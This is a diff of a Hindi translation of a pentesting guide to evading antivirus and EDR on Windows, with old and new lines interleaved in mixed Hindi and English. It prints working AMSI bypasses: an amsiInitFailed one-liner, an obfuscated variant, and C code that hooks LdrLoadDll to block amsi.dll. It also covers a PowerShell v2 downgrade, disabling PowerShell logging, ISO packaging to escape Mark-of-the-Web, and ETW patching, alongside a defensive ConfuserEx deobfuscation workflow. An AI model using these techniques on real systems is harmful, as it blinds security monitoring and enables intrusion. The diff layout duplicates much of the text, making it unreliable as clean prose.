चूँकि AMSI मुख्यतः static detections पर काम करता है, इसलिए आप जो स्क्रिप्ट लोड करने की कोशिश करते हैं उन्हें बदलना detection से बचने का एक अच्छा तरीका हो सकता है।
|
चूँकि AMSI मुख्यतः static detections के साथ काम करता है, इसलिए जिन scripts को आप लोड करने की कोशिश करते हैं उन्हें modify करना detection से बचने का एक अच्छा तरीका हो सकता है।
|
||||||
|
|
||||||
हालाँकि, AMSI के पास scripts को unobfuscating करने की क्षमता है भले ही उनमें कई परतें हों, इसलिए obfuscation बुरा विकल्प हो सकता है यह इस बात पर निर्भर करता है कि कैसे किया गया है। इससे इसे evade करना आसान नहीं रहता। हालाँकि कभी-कभी बस कुछ variable names बदलने भर से काम हो जाता है, इसलिए यह निर्भर करता है कि कितनी चीजें flagged हुई हैं।
|
हालांकि, AMSI में scripts को unobfuscate करने की क्षमता होती है भले ही वे कई layers में हों, इसलिए obfuscation तरीका और उसकी गुणवत्ता पर निर्भर करते हुए यह खराब विकल्प भी हो सकता है। यह इसे आसान नहीं बनाता। हालांकि कभी-कभी बस कुछ variable names बदल देने से काम चल जाता है, इसलिए यह निर्भर करता है कि किसी चीज़ को कितना फ्लैग किया गया है।
|
||||||
|
|
||||||
- **AMSI Bypass**
|
- **AMSI Bypass**
|
||||||
|
|
||||||
चूँकि AMSI को powershell (also cscript.exe, wscript.exe, etc.) process में एक DLL लोड करके implement किया गया है, इसलिए इसे बिना उच्च privileges के भी आसानी से टेम्पर किया जा सकता है। AMSI की इस implementation flaw के कारण researchers ने AMSI scanning से बचने के कई तरीके खोजे हैं।
|
चूँकि AMSI को powershell (साथ ही cscript.exe, wscript.exe, आदि) process में एक DLL लोड करके लागू किया जाता है, इसे unprivileged user के रूप में भी आसानी से tamper किया जा सकता है। AMSI के implementation की इस कमी के कारण researchers ने AMSI scanning से बचने के कई तरीके खोज निकाले हैं।
|
||||||
|
|
||||||
**Forcing an Error**
|
**Forcing an Error**
|
||||||
|
|
||||||
AMSI initialization को fail करने के लिए मजबूर करना (amsiInitFailed) यह नतीजा देगा कि current process के लिए कोई scan initiate नहीं होगा। मूलतः इसे [Matt Graeber](https://twitter.com/mattifestation) ने डिस्क्लोज़ किया था और Microsoft ने इसके व्यापक उपयोग को रोकने के लिए एक signature विकसित किया है।
|
AMSI के initialization को fail कराने पर (amsiInitFailed) वर्तमान process के लिए कोई scan initiate नहीं होगा। इसे मूल रूप से [Matt Graeber](https://twitter.com/mattifestation) ने डिस्क्लोज़ किया था और Microsoft ने इसके व्यापक उपयोग को रोकने के लिए एक signature विकसित किया है।
|
||||||
```bash
|
```bash
|
||||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||||
```
|
```
|
||||||
केवल एक लाइन powershell कोड ने वर्तमान powershell प्रक्रिया के लिए AMSI को अनुपयोगी कर दिया। यह लाइन, ज़ाहिर है, AMSI द्वारा स्वयं फ़्लैग की जा चुकी है, इसलिए इस technique का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
|
वर्तमान powershell process के लिए AMSI को अनुपयोगी करने के लिए केवल एक लाइन powershell कोड ही काफी थी। यह लाइन स्वाभाविक रूप से AMSI द्वारा फ्लैग की जा चुकी है, इसलिए इस technique को उपयोग में लाने के लिए कुछ संशोधन की आवश्यकता है।
|
||||||
|
|
||||||
यहाँ एक संशोधित AMSI bypass है जिसे मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
|
नीचे एक संशोधित AMSI bypass दिया गया है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
|
||||||
```bash
|
```bash
|
||||||
Try{#Ams1 bypass technic nº 2
|
Try{#Ams1 bypass technic nº 2
|
||||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||||
@ -252,77 +249,112 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
|||||||
$Spotfix.SetValue($null,$true)
|
$Spotfix.SetValue($null,$true)
|
||||||
}Catch{Throw $_}
|
}Catch{Throw $_}
|
||||||
```
|
```
|
||||||
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
|
ध्यान रखें, यह पोस्ट प्रकाशित होते ही संभवतः फ्लैग हो जाएगा, इसलिए यदि आपका मकसद अनडिटेक्टेड रहना है तो कोई भी कोड प्रकाशित न करें।
|
||||||
|
|
||||||
**Memory Patching**
|
**Memory Patching**
|
||||||
|
|
||||||
यह तकनीक मूल रूप से [@RastaMouse](https://twitter.com/_RastaMouse/) द्वारा खोजी गई थी और इसमें amsi.dll में "AmsiScanBuffer" फ़ंक्शन का पता लगाना शामिल है (जो उपयोगकर्ता द्वारा दिए गए इनपुट को स्कैन करने के लिए जिम्मेदार है) और इसे E_INVALIDARG कोड लौटाने वाले निर्देशों से ओवरराइट कर देना। इस तरह असल स्कैन का परिणाम 0 लौटाएगा, जिसे एक साफ़ परिणाम माना जाता है।
|
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
|
> कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
|
||||||
|
|
||||||
AMSI को bypass करने के लिए powershell के साथ कई अन्य तकनीकें भी हैं; इनके बारे में और जानने के लिए [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) देखें।
|
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
|
||||||
|
|
||||||
यह टूल [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को bypass करने वाली स्क्रिप्ट जनरेट करता है।
|
### AMSI को ब्लॉक करना — amsi.dll लोड को रोकना (LdrLoadDll hook)
|
||||||
|
|
||||||
**Remove the detected signature**
|
AMSI तभी आरम्भ होता है जब `amsi.dll` वर्तमान प्रोसेस में लोड हो चुका होता है। एक मजबूत, language‑agnostic bypass यह है कि `ntdll!LdrLoadDll` पर user‑mode hook लगाया जाए जो requested module `amsi.dll` होने पर error लौटाता है। नतीजतन, AMSI कभी लोड नहीं होता और उस प्रोसेस के लिए कोई स्कैन नहीं होता।
|
||||||
|
|
||||||
आप वर्तमान प्रोसेस की मेमोरी से पहचानी गई AMSI सिग्नेचर को हटाने के लिए **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे टूल का उपयोग कर सकते हैं। यह टूल वर्तमान प्रोसेस की मेमोरी में AMSI सिग्नेचर को स्कैन करके उसे NOP निर्देशों से ओवरराइट कर देता है, जिससे वह प्रभावी रूप से मेमोरी से हट जाता है।
|
इम्प्लीमेंटेशन रूपरेखा (x64 C/C++ pseudocode):
|
||||||
|
```c
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
|
||||||
**AV/EDR products that uses AMSI**
|
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
|
||||||
|
static pLdrLoadDll realLdrLoadDll;
|
||||||
|
|
||||||
AMSI का उपयोग करने वाले AV/EDR products की सूची आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में पा सकते हैं।
|
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
|
||||||
|
if (module && module->Buffer){
|
||||||
|
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
|
||||||
|
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
|
||||||
|
// Pretend the DLL cannot be found → AMSI never initialises in this process
|
||||||
|
return STATUS_DLL_NOT_FOUND; // 0xC0000135
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return realLdrLoadDll(path, flags, module, handle);
|
||||||
|
}
|
||||||
|
|
||||||
**Use Powershell version 2**
|
void InstallHook(){
|
||||||
यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपनी स्क्रिप्ट्स को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप इसे इस तरह कर सकते हैं:
|
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
|
||||||
|
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
|
||||||
|
// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
|
||||||
|
}
|
||||||
|
```
|
||||||
|
नोट्स
|
||||||
|
- PowerShell, WScript/CScript और कस्टम लोडर्स दोनों पर समान रूप से काम करता है (कोई भी चीज़ जो AMSI को लोड करती)।
|
||||||
|
- लंबे कमांड‑लाइन अवशेषों से बचने के लिए stdin के माध्यम से स्क्रिप्ट फ़ीड करने के साथ उपयोग करें (`PowerShell.exe -NoProfile -NonInteractive -Command -`)।
|
||||||
|
- LOLBins के माध्यम से निष्पादित लोडर्स द्वारा उपयोग होते देखा गया है (उदा., `regsvr32` जो `DllRegisterServer` को कॉल करता है)।
|
||||||
|
|
||||||
|
This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
|
||||||
|
|
||||||
|
**डिटेक्ट की गई सिग्नेचर हटाएं**
|
||||||
|
|
||||||
|
आप **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे टूल्स का उपयोग कर सकते हैं ताकि वर्तमान प्रोसेस की मेमोरी से डिटेक्ट की गई AMSI सिग्नेचर हटाई जा सके। यह टूल वर्तमान प्रोसेस की मेमोरी में AMSI सिग्नेचर को स्कैन करके फिर उसे NOP निर्देशों से ओवरराइट करता है, जिससे वह प्रभावी रूप से मेमोरी से हटा दिया जाता है।
|
||||||
|
|
||||||
|
**AV/EDR उत्पाद जो AMSI का उपयोग करते हैं**
|
||||||
|
|
||||||
|
AV/EDR उत्पादों की सूची जो AMSI का उपयोग करते हैं आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** पर पा सकते हैं।
|
||||||
|
|
||||||
|
**PowerShell version 2 का उपयोग करें**
|
||||||
|
यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट बिना AMSI द्वारा स्कैन किए चला सकते हैं। आप ऐसा कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
powershell.exe -version 2
|
powershell.exe -version 2
|
||||||
```
|
```
|
||||||
## PS लॉगिंग
|
## PS लॉगिंग
|
||||||
|
|
||||||
PowerShell logging एक ऐसी सुविधा है जो आपको सिस्टम पर निष्पादित सभी PowerShell कमांड्स को लॉग करने की अनुमति देती है। यह auditing और troubleshooting के लिए उपयोगी हो सकती है, लेकिन यह उन हमलावरों के लिए भी एक समस्या हो सकती है जो detection से बचना चाहते हैं।
|
PowerShell logging एक फीचर है जो आपको सिस्टम पर निष्पादित सभी PowerShell कमांड्स को लॉग करने की अनुमति देता है। यह ऑडिटिंग और ट्रबलशूटिंग के लिए उपयोगी हो सकता है, लेकिन यह उन हमलावरों के लिए भी एक **समस्या हो सकता है जो detection से बचना चाहते हैं**।
|
||||||
|
|
||||||
PowerShell logging को बायपास करने के लिए आप निम्न तकनीकों का उपयोग कर सकते हैं:
|
PowerShell logging को बायपास करने के लिए आप नीचे दिए गए तरीकों का उपयोग कर सकते हैं:
|
||||||
|
|
||||||
- **Disable PowerShell Transcription and Module Logging**: आप इस उद्देश्य के लिए [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) जैसे टूल का उपयोग कर सकते हैं।
|
- **PowerShell Transcription और Module Logging को Disable करें**: आप इसके लिए [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) जैसे tool का उपयोग कर सकते हैं।
|
||||||
- **Use Powershell version 2**: यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने scripts को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप यह कर सकते हैं: `powershell.exe -version 2`
|
- **Powershell version 2 का उपयोग करें**: यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपनी स्क्रिप्ट्स को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप यह कर सकते हैं: `powershell.exe -version 2`
|
||||||
- **Use an Unmanaged Powershell Session**: UnmanagedPowerShell का उपयोग कर एक defenses-रहित powershell स्पॉन करें: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) (यही वह तरीका है जो `powerpick` from Cobal Strike उपयोग करता है)।
|
- **Unmanaged Powershell Session का उपयोग करें**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) का उपयोग करके defenses के बिना एक powershell spawn करें (यह वही है जो `powerpick` from Cobal Strike उपयोग करता है)।
|
||||||
|
|
||||||
## Obfuscation
|
## Obfuscation
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> कई obfuscation तकनीकें डेटा को encrypt करने पर निर्भर करती हैं, जिससे binary की entropy बढ़ जाती है और AVs/EDRs के लिए इसे detect करना आसान हो जाता है। इस पर सावधानी बरतें और संभव हो तो encryption केवल उन कोड सेक्शनों पर लागू करें जो संवेदनशील हों या जिन्हें छिपाना आवश्यक हो।
|
> कई obfuscation techniques डेटा को encrypt करने पर निर्भर करती हैं, जिससे बाइनरी की entropy बढ़ जाएगी और AVs तथा EDRs के लिए इसे detect करना आसान हो जाएगा। इस बारे में सावधान रहें और संभव हो तो encryption केवल उन specific सेक्शन्स पर लागू करें जो संवेदनशील हैं या जिन्हें छुपाना आवश्यक है।
|
||||||
|
|
||||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||||
|
|
||||||
जब आप ConfuserEx 2 (या commercial forks) का उपयोग करने वाले malware का विश्लेषण कर रहे हों तो अक्सर कई सुरक्षा परतें मिलती हैं जो decompilers और sandboxes को रोकती हैं। नीचे दिया गया workflow भरोसेमंद तरीके से एक near–original IL बहाल करता है जिसे बाद में dnSpy या ILSpy जैसे टूल्स में C# में decompile किया जा सकता है।
|
जब आप ConfuserEx 2 (या commercial forks) का उपयोग करने वाले malware का विश्लेषण करते हैं, तो अक्सर कई सुरक्षा परतें मिलती हैं जो decompilers और sandboxes को ब्लॉक कर देती हैं। नीचे दिया गया workflow भरोसेमंद तरीके से एक near–original IL को **restore** करता है जिसे बाद में dnSpy या ILSpy जैसे टूल्स में C# में decompile किया जा सकता है।
|
||||||
|
|
||||||
1. Anti-tampering removal – ConfuserEx हर *method body* को encrypt करता है और इसे *module* static constructor (`<Module>.cctor`) के अंदर decrypt करता है। यह PE checksum को भी patch करता है ताकि कोई संशोधन binary को crash करवा दे। encrypted metadata tables का पता लगाने, XOR keys recover करने और एक clean assembly फिर से लिखने के लिए **AntiTamperKiller** का उपयोग करें:
|
1. Anti-tampering removal – ConfuserEx हर *method body* को encrypt करता है और उसे *module* static constructor (`<Module>.cctor`) के अंदर decrypt करता है। यह PE checksum को भी patch कर देता है, इसलिए कोई भी modification binary को crash कर देगा। एन्क्रिप्टेड metadata tables को locate करने, XOR keys recover करने और एक clean assembly rewrite करने के लिए **AntiTamperKiller** का उपयोग करें:
|
||||||
```bash
|
```bash
|
||||||
# https://github.com/wwh1004/AntiTamperKiller
|
# https://github.com/wwh1004/AntiTamperKiller
|
||||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||||
```
|
```
|
||||||
Output में 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) शामिल रहते हैं जो अपना unpacker बनाते समय उपयोगी हो सकते हैं।
|
Output में 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) होंगे जो अपना unpacker बनाने पर उपयोगी हो सकते हैं।
|
||||||
|
|
||||||
2. Symbol / control-flow recovery – *clean* फाइल को **de4dot-cex** (de4dot का ConfuserEx-aware fork) को फीड करें।
|
2. Symbol / control-flow recovery – *clean* फाइल को **de4dot-cex** (de4dot का ConfuserEx-aware fork) को फ़ीड करें:
|
||||||
```bash
|
```bash
|
||||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||||
```
|
```
|
||||||
Flags:
|
Flags:
|
||||||
• `-p crx` – ConfuserEx 2 प्रोफ़ाइल चुनें
|
• `-p crx` – ConfuserEx 2 profile चुनें
|
||||||
• de4dot control-flow flattening को undo करेगा, original namespaces, classes और variable names restore करेगा और constant strings को decrypt करेगा।
|
• de4dot control-flow flattening को undo करेगा, original namespaces, classes और variable names restore करेगा और constant strings को decrypt करेगा।
|
||||||
|
|
||||||
3. Proxy-call stripping – ConfuserEx direct method calls को lightweight wrappers (a.k.a *proxy calls*) से replace करता है ताकि decompilation और कठिन हो जाए। इन्हें हटाने के लिए **ProxyCall-Remover** का प्रयोग करें:
|
3. Proxy-call stripping – ConfuserEx direct method calls को lightweight wrappers (a.k.a *proxy calls*) से replace कर देता है ताकि decompilation और टूटे। इन्हें हटाने के लिए **ProxyCall-Remover** का उपयोग करें:
|
||||||
```bash
|
```bash
|
||||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||||
```
|
```
|
||||||
इस चरण के बाद आप opaque wrapper functions (`Class8.smethod_10`, …) की जगह सामान्य .NET APIs जैसे `Convert.FromBase64String` या `AES.Create()` देखेंगे।
|
इस चरण के बाद आपको opaque wrapper functions (`Class8.smethod_10`, …) की बजाय normal .NET API जैसे `Convert.FromBase64String` या `AES.Create()` दिखनी चाहिए।
|
||||||
|
|
||||||
4. Manual clean-up – resulting binary को dnSpy में चलाएँ, बड़ी Base64 blobs या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए खोजें ताकि वास्तविक payload का पता चल सके। अक्सर malware इसे `<Module>.byte_0` के अंदर TLV-encoded byte array के रूप में स्टोर करता है।
|
4. Manual clean-up – resulting binary को dnSpy में चलाएँ, बड़े Base64 blobs या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए search करें ताकि *real* payload का पता लग सके। अक्सर malware इसे TLV-encoded byte array के रूप में `<Module>.byte_0` के अंदर initialise करके store करता है।
|
||||||
|
|
||||||
ऊपर दिया गया चैन execution flow को बहाल करता है **बिना** malicious sample को चलाए — यह offline workstation पर काम करते समय उपयोगी है।
|
ऊपर दिया गया chain execution flow को उस malicious sample को चलाए बिना **restore** कर देता है – यह offline workstation पर काम करते समय उपयोगी है।
|
||||||
|
|
||||||
> 🛈 ConfuserEx एक custom attribute बनाता है जिसका नाम `ConfusedByAttribute` है जिसे IOC के रूप में उपयोग करके samples को स्वतः triage किया जा सकता है।
|
> 🛈 ConfuserEx एक custom attribute `ConfusedByAttribute` उत्पन्न करता है जिसे IOC के रूप में उपयोग किया जा सकता है ताकि samples को automatic तरीके से triage किया जा सके।
|
||||||
|
|
||||||
#### One-liner
|
#### One-liner
|
||||||
```bash
|
```bash
|
||||||
@ -331,39 +363,39 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
|||||||
---
|
---
|
||||||
|
|
||||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य LLVM compilation suite का एक open-source fork प्रदान करना है जो increased software security प्रदान कर सके through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) और tamper-proofing.
|
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य LLVM compilation suite का एक open-source fork प्रदान करना है जो code obfuscation और tamper-proofing के ज़रिए सॉफ़्टवेयर सुरक्षा बढ़ा सके।
|
||||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दर्शाता है कि कैसे `C++11/14` language का उपयोग करके compile time पर obfuscated code generate किया जा सकता है बिना किसी external tool का उपयोग किए और बिना compiler को modify किए.
|
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator यह दिखाता है कि `C++11/14` भाषा का उपयोग करके, compile time पर, किसी भी external tool का उपयोग किए बिना और compiler को modify किए बिना obfuscated code कैसे generate किया जा सकता है।
|
||||||
- [**obfy**](https://github.com/fritzone/obfy): C++ template metaprogramming framework द्वारा generate किए गए obfuscated operations की एक layer जोड़ता है जो application को crack करने वाले व्यक्ति के लिए काम थोड़ा मुश्किल बना देगी.
|
- [**obfy**](https://github.com/fritzone/obfy): C++ template metaprogramming framework द्वारा generate किए गए obfuscated operations की एक परत जोड़ता है, जो application को crack करने वाले व्यक्ति के लिए काम को थोड़ा कठिन बना देगा।
|
||||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 binary obfuscator है जो .exe, .dll, .sys सहित विभिन्न प्रकार के PE files को obfuscate करने में सक्षम है.
|
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 binary obfuscator है जो विभिन्न प्रकार की pe files जैसे: .exe, .dll, .sys को obfuscate कर सकता है।
|
||||||
- [**metame**](https://github.com/a0rtega/metame): Metame एक simple metamorphic code engine है arbitrary executables के लिए.
|
- [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण metamorphic code engine है arbitrary executables के लिए।
|
||||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक fine-grained code obfuscation framework है LLVM-supported languages के लिए जो ROP (return-oriented programming) का उपयोग करता है। ROPfuscator प्रोग्राम को assembly code level पर obfuscate करता है, सामान्य instructions को ROP chains में transform करके हमारे सामान्य control flow की धारणा को बाधित कर देता है.
|
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक fine-grained code obfuscation framework है जो LLVM-supported भाषाओं के लिए ROP (return-oriented programming) का उपयोग करता है। ROPfuscator किसी प्रोग्राम को assembly code स्तर पर obfuscate करता है, सामान्य निर्देशों को ROP chains में बदलकर normal control flow की हमारी सामान्य धारणा को विफल कर देता है।
|
||||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE Crypter है जो Nim में लिखा गया है
|
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt Nim में लिखा गया एक .NET PE Crypter है
|
||||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को shellcode में convert कर सकता है और फिर उन्हें load कर सकता है
|
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को shellcode में convert करके फिर उन्हें load करने में सक्षम है।
|
||||||
|
|
||||||
## SmartScreen और MoTW
|
## SmartScreen & MoTW
|
||||||
|
|
||||||
You may have seen this screen when downloading some executables from the internet and executing them.
|
You may have seen this screen when downloading some executables from the internet and executing them.
|
||||||
|
|
||||||
Microsoft Defender SmartScreen एक security mechanism है जिसका उद्देश्य end user को संभावित रूप से malicious applications चलाने से बचाना है।
|
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
|
||||||
|
|
||||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SmartScreen मुख्य रूप से एक reputation-based approach से काम करता है, जिसका अर्थ है कि अनोखी रूप से डाउनलोड की गई applications SmartScreen को trigger करेंगी, जिससे end user को alert किया जाएगा और file के execute होने से रोका जाएगा (although the file can still be executed by clicking More Info -> Run anyway).
|
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
|
||||||
|
|
||||||
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) है जिसका नाम Zone.Identifier होता है और यह इंटरनेट से फाइलें डाउनलोड होने पर उस फाइल के साथ डाउनलोड की गई URL के साथ स्वचालित रूप से बनाया जाता है।
|
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
|
||||||
|
|
||||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जाँच।</p></figcaption></figure>
|
<figure><img src="../images/image (237).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जाँच।</p></figcaption></figure>
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> यह ध्यान देने योग्य है कि executables जो एक **trusted** signing certificate से signed हैं **SmartScreen को trigger नहीं करेंगे**।
|
> यह ध्यान देने योग्य है कि ऐसे executables जो किसी trusted signing certificate के साथ signed होते हैं, वह SmartScreen को trigger नहीं करेंगे।
|
||||||
|
|
||||||
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
|
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
|
||||||
|
|
||||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक tool है जो payloads को output containers में पैकेज करता है ताकि Mark-of-the-Web से बचा जा सके।
|
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
|
||||||
|
|
||||||
उदाहरण उपयोग:
|
Example usage:
|
||||||
```bash
|
```bash
|
||||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||||
|
|
||||||
@ -391,51 +423,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
|||||||
|
|
||||||
## ETW
|
## ETW
|
||||||
|
|
||||||
Event Tracing for Windows (ETW) Windows में एक शक्तिशाली लॉगिंग मेकैनिज़्म है जो applications और system components को **लॉग इवेंट्स** करने की अनुमति देता है। हालाँकि, इसे security products द्वारा malicious गतिविधियों की निगरानी और पहचान के लिए भी इस्तेमाल किया जा सकता है।
|
Event Tracing for Windows (ETW) Windows में एक शक्तिशाली logging mechanism है जो applications और system components को **log events** करने की अनुमति देता है। हालांकि, इसे security products द्वारा malicious activities को monitor और detect करने के लिए भी उपयोग किया जा सकता है।
|
||||||
|
|
||||||
जैसे AMSI को disable (bypass) किया जाता है, वैसे ही किसी user space process के **`EtwEventWrite`** फ़ंक्शन को तुरंत return करवा कर भी बिना किसी इवेंट को लॉग किए उसे नॅन-ऑप किया जा सकता है। यह प्रक्रिया मेमोरी में फ़ंक्शन को patch कर के उसे तुरंत लौटने के लिए मजबूर कर के की जाती है, जिससे उस प्रोसेस के लिए ETW लॉगिंग प्रभावी रूप से disabled हो जाती है।
|
जिस तरह AMSI को disable (bypass) किया जाता है, उसी तरह user space प्रक्रिया के **`EtwEventWrite`** फ़ंक्शन को तुरंत return करवा देना संभव है ताकि कोई इवेंट लॉग न हो। यह फ़ंक्शन को memory में patch करके किया जाता है ताकि वह तुरंत return कर दे, जिससे उस प्रक्रिया के लिए ETW logging प्रभावी रूप से disabled हो जाता है।
|
||||||
|
|
||||||
